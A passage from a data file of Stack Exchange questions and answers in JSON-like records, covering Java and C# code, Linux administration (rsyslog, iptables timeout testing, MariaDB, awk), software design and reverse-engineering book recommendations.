diagonally.                        player2Wins++;                        System.out.println(\\nPlayer 2 won diagonally!);                        gameOver = true;                        break diagonalDownLeftOuterLoop1;                    }                }                else {                    player1MaximumChain = 1;                    player2MaximumChain = 1;                }            }            player1MaximumChain = 1;            player2MaximumChain = 1;        }        diagonalDownLeftOuterLoop2://Scanning in lines from top-right to bottom-left, checks game board for diagonal chains. Starts checking at top-right and stops checking at top-left.        for (diagonalStartPoint = gameBoard[0].length - 2, player1MaximumChain = 1, player2MaximumChain = 1; diagonalStartPoint > 0; diagonalStartPoint--) {            for (row = 0, column = diagonalStartPoint; row < gameBoard.length - 1 && column > 0; row++, column--) {                if (gameBoard[row][column].equals([ + player1GamePiece + ]) && gameBoard[row + 1][column - 1].equals([ + player1GamePiece + ])) {                    player1MaximumChain++;                    if (player1MaximumChain >= MINIMUM_CHAIN_TO_WIN) {//Checks if Player 1 won diagonally.                        player1Wins++;                        System.out.println(\\nPlayer 1 won diagonally!);                        gameOver = true;                        break diagonalDownLeftOuterLoop2;                    }                }                else if (gameBoard[row][column].equals([ + player2GamePiece + ]) && gameBoard[row + 1][column - 1].equals([ + player2GamePiece + ])) {                    player2MaximumChain++;                    if (player2MaximumChain >= MINIMUM_CHAIN_TO_WIN) {//Checks if Player 2 won diagonally.                        player2Wins++;                        System.out.println(\\nPlayer 2 won diagonally!);                        gameOver = true;                        break diagonalDownLeftOuterLoop2;                    }                }                else {                    player1MaximumChain= 1;                    player2MaximumChain = 1;                }            }            player1MaximumChain = 1;            player2MaximumChain = 1;        }        for (columnNumber = 0, fullColumns = 0; gameOver != true && columnNumber < NUMBER_OF_COLUMNS; columnNumber++) {//If the game board is full but neither player has won, the game is drawn.            if (!gameBoard[0][columnNumber].equals([ ])) {                fullColumns++;                if (fullColumns >= NUMBER_OF_COLUMNS) {                    System.out.println(\\nPlayer 1 and Player 2 drew the game!);                    gameOver = true;                }            }        }        gameOverAndPlayer1WinsAndPlayer2Wins[0] = gameOver;//Updates gameOverAndPlayer1WinsAndPlayer2Wins.        gameOverAndPlayer1WinsAndPlayer2Wins[1] = player1Wins;        gameOverAndPlayer1WinsAndPlayer2Wins[2] = player2Wins;        return gameOverAndPlayer1WinsAndPlayer2Wins;    }    public static int getColumn (int player, int NUMBER_OF_COLUMNS, String player1GamePiece, String player2GamePiece) {//Gets column choice from user.        int inputAsInt;        String gamePiece;        if (player == 1) {            gamePiece = player1GamePiece;        }        else {            gamePiece = player2GamePiece;        }        Scanner scanner = new Scanner(System.in);        System.out.println(_____________________________________________\\nPlayer  + player + , choose the column for your  + gamePiece +  piece.);//Shows the current player and their game piece.        outerLoop:        while (true) {            while(!scanner.hasNextInt()) {//If input is not integer, asks user again.                System.out.println(Your choice must be an integer. Try again!);                scanner.next();            }            inputAsInt = scanner.nextInt();            if (inputAsInt >= 1 && inputAsInt <= NUMBER_OF_COLUMNS) {//Saves input (if valid).                break outerLoop;            }            else {//If input is not valid column, asks user again.                System.out.println(Your choice must be between 1 and  + NUMBER_OF_COLUMNS + . Try again!);                continue;            }        }        return inputAsInt;    }    public static int startingPlayerTurn (int player1Wins, int player2Wins) {//Decides starting player turn.        int player;        if (player1Wins == player2Wins) {//If both players have won equally often, starting player turn is randomly chosen.            player = (int)((Math.random() * 2) + 1);        }        else if (player1Wins > player2Wins) {//If Player 1 has won more often, starting player turn is given to Player 2.            player = 2;        }        else {//If Player 2 has won more often, starting player turn is given to Player 1 instead.            player = 1;        }        return player;    }}"  , "title": "Connect Four in Java"  , "tags": "java;beginner;game;array;connect four"  } 
{  "id": "_codereview.68107"  , "question": "Is there a more clever way of writing this piece of code? It does work but I thought there might be a better way of returning a matrix from multiplying the parameter by itself.public static void Main(string[] args){    int[,] m1 = CreateMatrix(5);            }static int[,] CreateMatrix(int rowscols){                int[,] result = new int[rowscols, rowscols];    int res = rowscols * rowscols;    int counter= 0;    for (int i = 0; i < rowscols; ++i)    {                                                        for (int k = 0; k < rowscols; ++k)        {                                result[i, k] = (res - counter);            counter += 1;        }                    }    return result;}"  , "title": "Returning multiplied matrix array"  , "tags": "c#;matrix"  } 
{  "id": "_unix.42063"  , "question": "I am trying to install the correct LAN card drivers on openSuse 12.1. This is the output of the log file for the autorun.sh script:-------------------------------Sun Jul  1 21:50:45 IDT 2012-------------------------------Sun Jul  1 21:59:26 IDT 2012make -C src/ cleanmake[1]: Entering directory `/home/shelly/r8168-8.031.00/src'make -C /lib/modules/3.1.0-1.2-desktop/build SUBDIRS=/home/shelly/r8168-8.031.00/src cleanmake: Entering an unknown directorymake: Leaving an unknown directorymake[1]: Leaving directory `/home/shelly/r8168-8.031.00/src'How can I figure out what went wrong?"  , "title": "What went wrong with this driver install?"  , "tags": "opensuse;make"  } 
{  "id": "_softwareengineering.300455"  , "question": "I receive zip files and they have as content 8 different files, each with it's own metadata inside.I have to combine these files into 1 object containing certain metadata. The big issue here is that there will not always be 8 files and the metadata i want to retrieve could be in any of these files stored in there own way.for now i have created a factory method that initiates the correct parser for each file type and the parser returns the object with the metadata it was able to parse.Now when this is done i have 8 object's i have to merge into 1 result object with the metadata gathered from these results.so i could have something like thisobject  Meta1    Meta2    Meta3    Meta4    Meta51       A        -        15       RT       -2       -        -        15       -        HIGH3       A        -        15       RT       HIGH4       -        65       -        RT       HIGHThis needs to have only 1 object as output:Meta1    Meta2    Meta3    Meta4    Meta5A        65       15       RT       HIGHNow i'm wondering what would be the best strategy to solve this issueHave my parsers accept my Object as parameter, try to map the data and override if present and then return the Object to be passed again in the next ParserParse all the Object and  try to merge them somehow in the endAnother strategy?"  , "title": "Parsing an object from multiple source files"  , "tags": "design patterns;object oriented design"  , "accepted_answer": "Here I describe some similar work I did. Perhaps it will work for you. I had 7 different file formats across 2 different files. What I must assume is that your meta-data is effectively keys. Otherwise how can one possibly know which records to merge?Create a CommonData classA single class to hold any record from any file.A property for each possible meta-field from any incoming fileA property to hold the entire recordAs you clearly illustrate - Where meta-fields are the same, there is only one. I.E. only 1 Meta1, Meta2Populate only the appropriate meta fields for a given file/record format. An enum identifing the record type - what file it comes from essentially; or for me, the file format.Has an IEqualityComparerCommonDataEqualityComparerImplements IEqualityComparerIn my solution your meta data were my keys that defined equality for each given record type (file).The equality-comparer object is passed into the CommonData constructor.An enum to identify each source file or unique file format. The Factorytakes the raw record and it's type - enum valueFactory passes to appropriate parser based on the enum valueFactory returns new CommonData object, with it's record-type-specific CommonDataEqualityComparer implementation.CommonDataCollectionBetween the equality-comparer implementations and RecordType property we can find, match, etc. records for each file type. "  } 
{  "id": "_unix.134896"  , "question": "I have the following line in the rsyslog config file:*.*;auth,daemon,kern,user   -/dev/logiand it does what it should, but I wanted to send some iptables logs to a different file, so I added the following content to the rsyslog.conf file::msg,contains,IPTABLES: /var/log/iptables& stopand I created /dev/fw device , but I have no idea how to send new content of the file to that device. Is there a way to do it?"  , "title": "How to redirect logs to a fifo device?"  , "tags": "logs;rsyslog;fifo"  , "accepted_answer": "I finally found a solution.This is the fifo device I create when system boots:LOG_DEV=/dev/logiif [ ! -r $LOG_DEV ]; then    mkfifo $LOG_DEV    chmod 640 $LOG_DEV    chown root:morfik $LOG_DEVfiI just added this to the /etc/init.d/rsyslog file.Having that device I can send all logs there by placing the following line in the /etc/rsyslog.conf file:*.*                 -/dev/logiIt's the fist line in the rules section, so every log goes there and continues processing other rules in the config file. The next rule in that file is::msg,contains,IPTABLES: /var/log/iptables& stopWhich sends the iptables logs to a specific file, and after doing so, rsyslog just stops processing the entries that contain IPTABLES: phrase. The next rules are just normal rules in the rsyslog config file. So I just got what I wanted -- all logs are sent to the fifo device + a separate log file for iptables entries."  } 
{  "id": "_unix.23334"  , "question": "I have this kind of GCC multilib wrapper set up:#file: gcc#!/usr/bin/env bashgcc -m32 $@which essentially just wraps a 64-bit multilib gcc to act as a non-multilib 32-bit gcc. When I build something (like binutils for example), this spawns hundreds of bash processes, until even fork fails. How can I work around this?"  , "title": "Simple wrapper scripts spawning 100s of bash processes"  , "tags": "linux;bash;shell script"  , "accepted_answer": "It appears you named your script gcc, put it in the path, and then called it recursively.  Either name your script something different or use an explicit path to the gcc executable you actually want to use."  } 
{  "id": "_unix.223164"  , "question": "when I run ls -l /dev/null /dev/zero /dev/tty I get:crw-rw-rw- 1 root root 1, 3 Aug  9 09:05 /dev/nullcrw-rw-rw- 1 root tty  5, 0 Aug  9 09:05 /dev/ttycrw-rw-rw- 1 root root 1, 5 Aug  9 09:05 /dev/zerowhat do the numbers 1 and 5 (after the group) indicate?"  , "title": "ls -l numbers between the size and the group"  , "tags": "ls"  , "accepted_answer": "Those files are special files called devices.They don't have a size parameter, but two number called major and minor number.Major is somehow related to type of device (terminal, disks, network interface, filesystems).Minor is related instance number.I use the word related, you simply do not count, different disk might have different major number. Computing of this two value is complex, and is mostly done by your OS.HP-UX use insf -e to create those deviceSolaris use devfsadm -c disk for diskAIX use cfgadm -a (from memory)EDIT:b) you seldom have a use for those number, as I mention misceleanous utilities manage them for you.  a) you mostly cannot manualy compute those number. You know them or not. I use them only once, in HP-UX 11Iv1, volume group creation involve using mknod /dev/vgX c 64 0x010000 , 64 being major and 0X010000 being minor. It was user responsabilities to manage minor number."  } 
{  "id": "_reverseengineering.9209"  , "question": "i'm getting started with some reverse engineering lately , especially on linux and ELF format , but i'm struggling here.For now i'm only using GDB to disassemble binaries , and even though i can read and understand the assembly code in general , i don't know where to look , or what register to check to find the Flag (i'm talking about CTFs here)so what i'm asking for are books , or videos , something to get me used to GDB and give me the thinking methodology (if there's such a thing).Thanks !"  , "title": "Books on reversing with GDB?"  , "tags": "disassembly;gdb"  , "accepted_answer": "Special for beginners Dennis Yurichev wrote this book:Reverse Engineering for BeginnersYou can find it and download on his site for free.Topics discussed: x86/x64, ARM/ARM64, MIPS, Java/JVM.Topics touched: Oracle RDBMS, Itanium, copy-protection dongles,  LD_PRELOAD, stack overflow, ELF, win32 PE file format, x86-64,  critical sections, syscalls, TLS, position-independent code (PIC),  profile-guided optimization, C++ STL, OpenMP, win32 SEH."  } 
{  "id": "_webmaster.57298"  , "question": "Are there any stats about how many Google/Bing users may be selecting country (as in the pic) in the SERP?As Susan says in here that geotargeting in GWT only works when users select a country as in the pic above. If it's small percentage then there won't be much use geotargeting wesite/pages by Webmasters."  , "title": "How many users see Google search results just for their own country?"  , "tags": "geotargeting;country specific;search results"  } 
{  "id": "_computerscience.4340"  , "question": "my code :A.layout('neato', args='-Gsep=+250 -Gsplines=ortho -Goverlap=false')A.draw('1.svg')#do something, add new nodes with pos to A,add_some_nodes_to_A()for node in A.nodes():    node.attr['pos'] += '!'    node.attr['pin'] = 'true'A.layout('neato', args='-Gsep=+250 -Gsplines=ortho -Goverlap=false - Gnotranslate=true')A.draw('2.svg')1.svg :2.svg : before the second layout, all A's nodes have pined, why the nodes move in 2.svg? "  , "title": "why pygraphviz layout() move the nodes which has 'pin = true'?"  , "tags": "vector graphics"  } 
{  "id": "_cs.48286"  , "question": "I'm studying my notes for a formal language course and it them it statesThe vast majority of languages over a finite alphabet cannot be  represented by a finite specification.I don't understand this. What is meant by specification? It then goes on to show why this is true by showing some sets of the alphabet are countably infinite and others are uncountably infinite. "  , "title": "What is meant by a language have a finite specification?"  , "tags": "formal languages"  } 
{  "id": "_softwareengineering.241054"  , "question": "I have a use case where I need to create say two javascript objects & use their properties in one another. eg - var Object1 = {  settings: {   property1: 'someValue',   property2: 'someValue'  }}var Object2 = {  foreignProperty: Object1.settings.property1;}I wanted to know if its alright to use a reference object for settings if I know that I will be using the settings property a lot. eg- var Object1Settings,    Object1 = {      settings: {      property1: 'someValue',      property2: 'someValue'    }}var Object1Settings = Object1.settings;var Object2 = {  foreignProperty: Object1Settings.property1;}Is this approach acceptable in terms of right ways of coding & performance?Thanks"  , "title": "Is it alright to create another reference to a javascript object just for ease of access"  , "tags": "javascript"  , "accepted_answer": "Not only it increases readability, but such code also runs way faster.Generally when programming I believe this is the order of priorities:ReadibilityCPU performanceSaving memoryBased on this you can see, that caching any value is probably a good idea. It costs memory and saves you CPU cycles.But I hope you do know that changing Object2.foreignProperty will render original Object1.settings.property1 unchanged."  } 
{  "id": "_unix.327865"  , "question": "I've just installed the mariadb package and doesn't work (doesn't start), I've these outputs:systemctl status -l mariadb.service  mariadb.service - MariaDB database server   Loaded: loaded (/usr/lib/systemd/system/mariadb.service; disabled; vendor preset: disabled)   Active: inactive (dead)journalctl | grep mariadb | tail action org.freedesktop.systemd1.manage-units for system-bus-name::1.110 [systemctl start mariadb.service] (owned by unix-user:velzm) dic 04 08:17:21 nmveliz systemd[1]: mariadb.service: Main process exited, code=exited, status=1/FAILURE dic 04 08:17:21 nmveliz systemd[1]: mariadb.service: Unit entered failed state. dic 04 08:17:21 nmveliz systemd[1]: mariadb.service: Failed with result 'exit-code'.systemctl status mariadb.service  mariadb.service - MariaDB database server  Loaded: loaded (/usr/lib/systemd/system/mariadb.service; disabled; ven  Active: failed (Result: exit-code) since Sat 2016-12-03 16:44:12 CST;   Process: 1959 ExecStart=/usr/sbin/mysqld $MYSQLD_OPTS $_WSREP_NEW_CLUST  Process: 1906 ExecStartPre=/bin/sh -c [ ! -e /usr/bin/galera_recovery ]  Process: 1903 ExecStartPre=/bin/sh -c systemctl unset-environment _WSRE  Main PID: 1959 (code=exited, status=1/FAILURE)dic 03 16:44:12 nmveliz mysqld[1959]: 2016-12-03 16:44:12 1396413908  dic 03 16:44:12 nmveliz mysqld[1959]: 2016-12-03 16:44:12 1396419816  dic 03 16:44:12 nmveliz mysqld[1959]: 2016-12-03 16:44:12 1396419816  dic 03 16:44:12 nmveliz mysqld[1959]: 2016-12-03 16:44:12 1396419816  dic 03 16:44:12 nmveliz mysqld[1959]: 2016-12-03 16:44:12 1396419816  dic 03 16:44:12 nmveliz mysqld[1959]: 2016-12-03 16:44:12 1396419816  dic 03 16:44:12 nmveliz systemd[1]: mariadb.service: Main process ex  dic 03 16:44:12 nmveliz systemd[1]: Failed to start MariaDB database  dic 03 16:44:12 nmveliz systemd[1]: mariadb.service: Unit entered fa  dic 03 16:44:12 nmveliz systemd[1]: mariadb.service: Failed with res  lines 1-18/18 (END)journalctl -xedic 03 16:56:30 nmveliz mysqld[2707]: 2016-12-03 16:56:30 1401676738dic 03 16:56:30 nmveliz mysqld[2707]: 2016-12-03 16:56:30 1401676738dic 03 16:56:30 nmveliz mysqld[2707]: 2016-12-03 16:56:30 1401676738dic 03 16:56:31 nmveliz mysqld[2707]: 2016-12-03 16:56:31 1401676738dic 03 16:56:32 nmveliz mysqld[2707]: 2016-12-03 16:56:32 1401676738dic 03 16:56:32 nmveliz mysqld[2707]: 2016-12-03 16:56:32 1401676738dic 03 16:56:32 nmveliz mysqld[2707]: 2016-12-03 16:56:32 1401676738dic 03 16:56:32 nmveliz mysqld[2707]: 2016-12-03 16:56:32 1401676738dic 03 16:56:32 nmveliz mysqld[2707]: 2016-12-03 16:56:32 1401676738dic 03 16:56:32 nmveliz mysqld[2707]: 2016-12-03 16:56:32 1401676738dic 03 16:56:32 nmveliz mysqld[2707]: 2016-12-03 16:56:32 1401676738dic 03 16:56:32 nmveliz mysqld[2707]: 2016-12-03 16:56:32 1401676738dic 03 16:56:32 nmveliz mysqld[2707]: 2016-12-03 16:56:32 1401676738dic 03 16:56:32 nmveliz mysqld[2707]: 2016-12-03 16:56:32 1401676738dic 03 16:56:32 nmveliz mysqld[2707]: 2016-12-03 16:56:32 1401676738dic 03 16:56:32 nmveliz mysqld[2707]: 2016-12-03 16:56:32 1401676738dic 03 16:56:32 nmveliz mysqld[2707]: 2016-12-03 16:56:32 1401676738dic 03 16:56:33 nmveliz mysqld[2707]: 2016-12-03 16:56:33 1401676738dic 03 16:56:33 nmveliz mysqld[2707]: 2016-12-03 16:56:33 1401670818dic 03 16:56:33 nmveliz mysqld[2707]: 2016-12-03 16:56:33 1401676738dic 03 16:56:33 nmveliz mysqld[2707]: 2016-12-03 16:56:33 1401676737dic 03 16:56:33 nmveliz mysqld[2707]: 2016-12-03 16:56:33 1401676738dic 03 16:56:33 nmveliz mysqld[2707]: 2016-12-03 16:56:33 1401676738dic 03 16:56:33 nmveliz mysqld[2707]: 2016-12-03 16:56:33 1401676738dic 03 16:56:33 nmveliz systemd[1]: mariadb.service: Main process exdic 03 16:56:33 nmveliz systemd[1]: Failed to start MariaDB database-- Subject: Unit mariadb.service has failed-- Defined-By: systemd-- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel-- -- Unit mariadb.service has failed.-- -- The result is failed.dic 03 16:56:33 nmveliz systemd[1]: mariadb.service: Unit entered fadic 03 16:56:33 nmveliz systemd[1]: mariadb.service: Failed with resdic 03 16:56:33 nmveliz sudo[2649]: pam_unix(sudo:session): session "  , "title": "Antergos MariaDB problems"  , "tags": "arch linux;mysql;mariadb;antergos"  } 
{  "id": "_unix.136642"  , "question": "For network catastrophe simulations of our server environment, we are looking for a way to intentionally timeout a TCP socket. Are there any simple ways for existing sockets? Also, little C test-case program would be a plus.We have already tried putting down network interfaces during TCP buffer reading, and reading from disconnected mounted resources (samba).Out test server is Ubuntu 12.04.4."  , "title": "How to make a TCP socket time out"  , "tags": "socket;timeout"  , "accepted_answer": "To cause an exiting connection to timeout you can use iptables.  Just enable a DROP rule on the port you want to disable.  So to simulate a timeout for your Samaba server, while an active connection is up, execute the following on the server:sudo iptables -A INPUT -p tcp --dport 445 -j DROPThe DROP target will not reply with a RST packet or ICMP error to the packet's sender.  The client will stop receiving packets from the server and eventually timeout.   Depending on if/how you have iptables configured, you may want to insert the rule higher into the INPUT ruleset."  } 
{  "id": "_unix.309150"  , "question": "I am trying to decrease the size of my .ppt presentations by converting them to .odp/.wps-format, since they take several GBs memory because of big pictures and audio content in slides. I would like to store the presentations in smaller space without losing quality i.e. picuters and audio. WPS OfficeWPS office > Save as > jpg of every slide; which does a very good work in extracting the images; I have not found yet any terminal tool for the task of many .ppt files; the 2-month-old release is alpha but much more stable than the previous ones (> 100 Mb .ppt files) and can render much better .ppt files than LibreOffice presentation. I already contacted the company about the task with a link to this thread. I already sent a related question in their Linux Community of the application but they have not approved it yet here.LibreOfficeI do when I have soffice in my PATH but getmasi@masi:~/$ ppt2odp test.ppt Failed to connect to /usr/lib/libreoffice/program/soffice.bin (pid=10643) in 6 seconds.Connector : couldn't connect to socket (Success)Error: Unable to connect or start own listener. Aborting.masi@masi:~/$OS: Debian 8.5 64 bitLinux kernel: 4.6Hardware: Asus Zenbook UX303UA    "  , "title": "How to minimise size of .ppt presentations without losing Pictures and Audio in LibreOffice/WPS-office?"  , "tags": "libreoffice;wps office"  , "accepted_answer": "There is no sufficient extraction tool for the task at the monte, so you cannot minimise the presentation size sufficiently for the task requirement. WPS can render such documents best in Linux. The only workaround is manually store at least audios in the presentations at the moment. There should exist reliable tools for the extraction of pictures in the presentations. "  } 
{  "id": "_webmaster.38196"  , "question": "I'm using cPanel to host my website. I need to enable 'mod_rewrite' on this Shared Hosting cPanel account to run my script. I've tried to Google the solutions high and low but did not find any luck yet.Those tutorials that I found only work well with VPS and some of them said that, only hosting provider can change and enable it. But, some of them said that, it can be done easily by editing the .htaccess file.My question:If I want to edit the .htaccess file, what should I include in that file?What the 'rules' and 'conditions' that should be included?"  , "title": "Enable 'mod_rewrite' Using .htaccess File On cPanel Shared Hosting Server"  , "tags": "apache;htaccess;mod rewrite"  } 
{  "id": "_unix.15095"  , "question": "I have the following problem. I collected data on reaction time from over 100 participants for an experiment I am running. Unfortunately, the separators between fields were not consistent, but after a lot of heartache with sed, I have managed to solve this problem.The experiment was divided into blocks (5 for each participant) and what I need is each block to be outputted on its own line, separated by commas. Here is a sample of my datafile:Participant: 2456, Test: Optimism IAT. Format is stimulus ,  correct(1)/incorrect(0) ,  time(ms).  Writes 10 trials per line.17/01/2011, 12:46:03 ,Block 1: , Theirs   , 1        , 1921     , Myself   , 1        , 928      , Them     , 1        , 716      , Theirs   , 1        , 720      , Myself   , 1        , 533      , Me       , 1        , 596      , Themselves , 1        , 527      , Myself   , 1        , 656      , Mine     , 1        , 551      , Myself   , 1        , 624     , Themselves , 1        , 570      , Me       , 1        , 514     ,Block 1 Time,: 8856    ,Block 2: , Failing  , 1        , 1835     , Happy    , 1        , 1118     , Sad      , 1        , 673      , Succeeding , 1        , 690      , Improving , 1        , 795      , Succeeding , 1        , 602      , Worse    , 1        , 586      , Succeeding , 1        , 553      , Improving , 1        , 619      , Disimproving , 1        , 659     , Succeeding , 1        , 596      , Failing  , 1        , 539     ,Block 2 Time,: 9265    ,Block 3: , Succeeding , 1        , 2881     , Disimproving , 1        , 1072     , Mine     , 1        , 1120     , Me       , 1        , 627      , Happy    , 1        , 669      , Theirs   , 1        , 1539     , Worse    , 1        , 841      , Me       , 1        , 862      , Sad      , 1        , 1370     , Succeeding , 1        , 1115    , Worse    , 1        , 855      , Theirs   , 1        , 792      , Them     , 1        , 627      , Better   , 1        , 735      , Me       , 1        , 626      , Happy    , 1        , 622      , Succeeding , 1        , 616      , Mine     , 1        , 646      , Them     , 1        , 599      , Disimproving , 1        , 607     , Better   , 1        , 799      , Myself   , 1        , 1408     , Me       , 1        , 463      , Better   , 1        , 839      , Failing  , 1        , 602      , Mine     , 1        , 633      , Better   , 1        , 525      , Sad      , 1        , 573      , Worse    , 1        , 770      , Me       , 1        , 508     , Theirs   , 1        , 613      , Disimproving , 1        , 649      , Improving , 1        , 701      , Theirs   , 1        , 590      , Disimproving , 1        , 716      , Better   , 1        , 714     ,Block 3 Time,: 29924   ,Block 4: , Them     , 1        , 1659     , Myself   , 1        , 1036     , Themselves , 1        , 595      , Me       , 1        , 509      , Myself   , 1        , 648      , Themselves , 1        , 542      , Myself   , 1        , 536      , Mine     , 1        , 537      , Theirs   , 1        , 615      , Mine     , 1        , 520     , Me       , 1        , 596      , Mine     , 1        , 471     ,Block 4 Time,: 8264    ,Block 5: , Mine     , 1        , 1527     , Myself   , 1        , 1235     , Disimproving , 0        , 2001     , Theirs   , 1        , 981      , Succeeding , 1        , 1994     , Happy    , 1        , 1454     , Failing  , 1        , 1941     , Theirs   , 1        , 1151     , Failing  , 0        , 1358     , Me       , 1        , 790     , Failing  , 1        , 717      , Mine     , 1        , 585      , Myself   , 1        , 821      , Themselves , 1        , 793      , Disimproving , 1        , 965      , Succeeding , 1        , 727      , Worse    , 1        , 961      , Theirs   , 1        , 1259     , Mine     , 1        , 578      , Better   , 1        , 1112    , Mine     , 1        , 1207     , Happy    , 1        , 843      , Worse    , 1        , 1064     , Failing  , 1        , 699      , Happy    , 1        , 700      , Myself   , 1        , 516      , Them     , 1        , 794      , Me       , 1        , 526      , Sad      , 1        , 1118     , Improving , 1        , 826     , Mine     , 1        , 540      , Succeeding , 1        , 952      , Myself   , 1        , 536      , Themselves , 1        , 851      , Improving , 1        , 865      , Mine     , 1        , 582     ,Block 5 Time,: 35569  As you can see, each of the blocks take up multiple lines. I need them to take up one line in the following formatParticipant Date Time   Block  Word1 Correct1 Time1.....Word36 Correct36  Time362456                    1      Happy   1      1200       sad    0         1500...1234                     5    sad       0     1100       happy   1       900The issue is that blocks 3 &5 have 36 stimuli while blocks 1,2 &4 have 12. I need the participant, datetime and  block time in each row also.Here is the script that got the data into the form you see here, but it doesn't give me each block on one line only which is what i need. Your help would be greatly appreciated. BEGIN{    FS=\\\\;    RS=#;    OFS=,;    ORS=\\n;}{    for(i=1;i<=NF;i++) {printf %-10s, $i; printf ,;} }I'm using gawk version 3.1.6 on Ubuntu 10.04. "  , "title": "Need help processing a text file with awk to conform to CSV flat file format"  , "tags": "linux;awk;csv"  , "accepted_answer": "If I understand correctly, your problem is coping with input where each record comes in multiple lines, and you don't detect the end of a record but rather the beginning of a new record: a new record begins whenever a line does not begin with a comma.Here's some awk boilerplate you can use to pre-process the input into records.function process (record) {    RS =  *, *; /*gawk allows RS to be a regexp; some implementations would require setting RS=, and manually trimming spaces*/    $0 = record; /*automatically sets $1, $2, ..., and NF*/    record = ;    /*your code goes here*/}{ if (/^ *,/) {record = record $0} else {process(record); record=$0} }END { if (record != ) {process(record)} }'"  } 
{  "id": "_unix.44249"  , "question": "What's the best way to check if two directories belong to the same filesystem?Acceptable answers: bash, python, C/C++."  , "title": "How to check if two directories or files belong to same filesystem"  , "tags": "filesystems;files"  , "accepted_answer": "It can be done by comparing device numbers.In a shell script on Linux it can be done with stat:stat -c %d /path  # returns the decimal device number In python:os.lstat('/path...').st_devoros.stat('/path...').st_dev"  } 
{  "id": "_cs.72470"  , "question": "TL;DR:There're lecture notes about a very simple reduction from maximum flow with edge demands problem to the maximum flow problem. But I can't get the new capacities at the picture:E.g., look at the diagonal: 15 - 0 = 14 (?). From my point of view there're a lot of off-by-one errors."  , "title": "Maximum flow with edge demands: can't understand the example of transition to transformed graph in the lecture notes"  , "tags": "graphs;network flow;max cut"  } 
{  "id": "_softwareengineering.294519"  , "question": "I'm writing a Rails app which uses ActiveRecord ORM and a Postgres DB. I've got two attributes which are similar but are separate fields in the database. The assignment and saving of these is kinda complicated so I've put that side of things in their own method. The pseudo-code is as followsmyObject.attr_a = get_the_stuff_from( ref_one )myObject.attr_b = get_the_stuff_from( ref_two )myObject.assign_and_save( attr_a )myObject.assign_and_save( attr_b )Basically, how can I tell the assign_and_save method to distinguish between attr_a and attr_b so that they get saved into their respective columns in the database. I was thinking of using an additional flag for the method signature, but I think that stunts its re-usability.What would you recommend? "  , "title": "Pattern for passing in a field as a parameter"  , "tags": "design patterns;object oriented;patterns and practices"  , "accepted_answer": "Given that you're using Rails, the most common way to achieve what you're trying to do is to use a before_save or before_create ActiveRecord callback.class Model < AR::Base  before_save :normalize_attributes  private  def normalize_attributes    # Whatever logic you need  endendmy_object.attr_a = get_the_stuff_from(ref_one)my_object.attr_b = get_the_stuff_from(ref_two)my_object.saveDepending on your logic, maybe get_the_stuff_from is better located in the model itself, so you might prefer something like:class Model < AR::Base  def set_attributes(stuff_for_a: nil, stuff_for_b: nil)    # Something like, depending on your logic:    self.a ||= get_the_stuff_from(stuff_for_a)    self.b ||= get_the_stuff_from(stuff_for_b)  end  private  def get_the_stuff_from(ref)    # Whatever logic you need  endend# Eithermy_object.set_attributes(stuff_for_a: ref_one)my_object.set_attributes(stuff_for_b: ref_two)# Ormy_object.set_attributes(stuff_for_a: ref_one,                         stuff_for_b: ref_two)my_object.saveBut I don't know enough of your logic to say if the ||= is enough, but hopefully this will help."  } 
{  "id": "_softwareengineering.325743"  , "question": "Let's say I have a class MyClass ... which has a data member xclass MyClass1 :    def __init__(self) :        self.x = 1Also a method which does something with xShould I pass self.x as a parameter?class MyClass2 :    def __init__(self) :        self.x = 1    def multiple_of_x(self, x) :        return x * 2Or just use self.x within the method?class MyClass3 :    def __init__(self) :        self.x = 1    def multiple_of_x(self) :        return self.x * 2I'm asking which is the more correct approach to object oriented programming?"  , "title": "Object Oriented Python methods and their parameters"  , "tags": "object oriented;python;class design;methods"  , "accepted_answer": "An object is a bundle of state and behavior. The behavior (methods) inherently defaults to having access to the object's state (attributes). As such, it should use that whenever it can.Think about it this way. If you had a method that needed four or five different pieces of data from the object to return a result, what would happen in each of your cases? In the first case, you'd be passing in those four or five things, every time. And you'd have to get that information from the object itself, resulting in a call like this:myobj.myfunction(myobj.w, myobj.x, myobj.y, myobj.z)The second approach would give you this:myobj.myfunction()Both give you the same result. The first has a bit more flexibility in case you ever want to pass in something that isn't part of the object. But if that's the case, why would you need the state of the object in the first place?"  } 
{  "id": "_unix.128561"  , "question": "Unfortunately the infrastructure I work in has static root passwords that are very rarely refreshed. So people leaving the company will have our root passwords and it can potentially be leaked to others inside the organization.So with that problem stated, what is the best method of executing a password refresh policy on linux/unix platforms?If it's the modification of the sudoers files on each host and disabling root passwords, how do you manage these sudoers files and keep everything up to date and consistent?If it's just using root keys, what can be done to protect/refresh these keys on a regular basis?Basically, how are others using tools to perform regular refreshes to ensure security?"  , "title": "Root Password Policy and Refresh"  , "tags": "linux;sudo;root;password"  } 
{  "id": "_codereview.106112"  , "question": "I have this tiny library for implementing simple command line languages. It is not flexible enough for handling actual programming languages, but hopefully it may help implementing simpler REPL's faster/cleaner.CommandParser.java:package net.coderodde.commandparser;import java.util.ArrayList;import java.util.Collections;import java.util.Comparator;import java.util.List;import java.util.Objects;/** * This class implements a command parser. *  * @author Rodion rodde Efremov * @version 1.6 (Sep 30, 2015) */public class CommandParser {    private final List<CommandDescriptor> commandDescriptorList =             new ArrayList<>();    private boolean isSorted = true;    public void add(CommandDescriptor commandDescriptor) {        Objects.requireNonNull(commandDescriptor,                               The input command descriptor is null.);        if (commandDescriptor.size() == 0) {            return;        }        commandDescriptorList.add(commandDescriptor);        isSorted = false;    }    public void process(String command) {        if (!isSorted) {            Collections.sort(commandDescriptorList, comparator);            isSorted = true;        }        for (CommandDescriptor descriptor : commandDescriptorList) {            if (descriptor.parse(command)) {                return;            }        }    }    private static final class CommandDescriptorComparator    implements Comparator<CommandDescriptor> {        @Override        public int compare(CommandDescriptor o1, CommandDescriptor o2) {            CommandToken token1 = o1.getToken(0);            CommandToken token2 = o2.getToken(0);            if (token1.getTokenType() == CommandToken.TokenType.IDENTIFIER) {                return 1;            } else if (token2.getTokenType()                     == CommandToken.TokenType.IDENTIFIER) {                return -1;            } else {                return 0;            }        }    }    private static final CommandDescriptorComparator comparator =             new CommandDescriptorComparator();}CommandDescriptor.java:package net.coderodde.commandparser;import java.util.ArrayList;import java.util.List;import java.util.Objects;/** * This class implements a command descriptor. *  * @author Rodion rodde Descriptor * @version 1.6 (Sep 30, 2015) */public class CommandDescriptor {    private final List<CommandToken> commandTokenList = new ArrayList<>();    private final CommandAction commandActionOnMatch;    public CommandDescriptor(CommandAction commandActionOnMatch) {        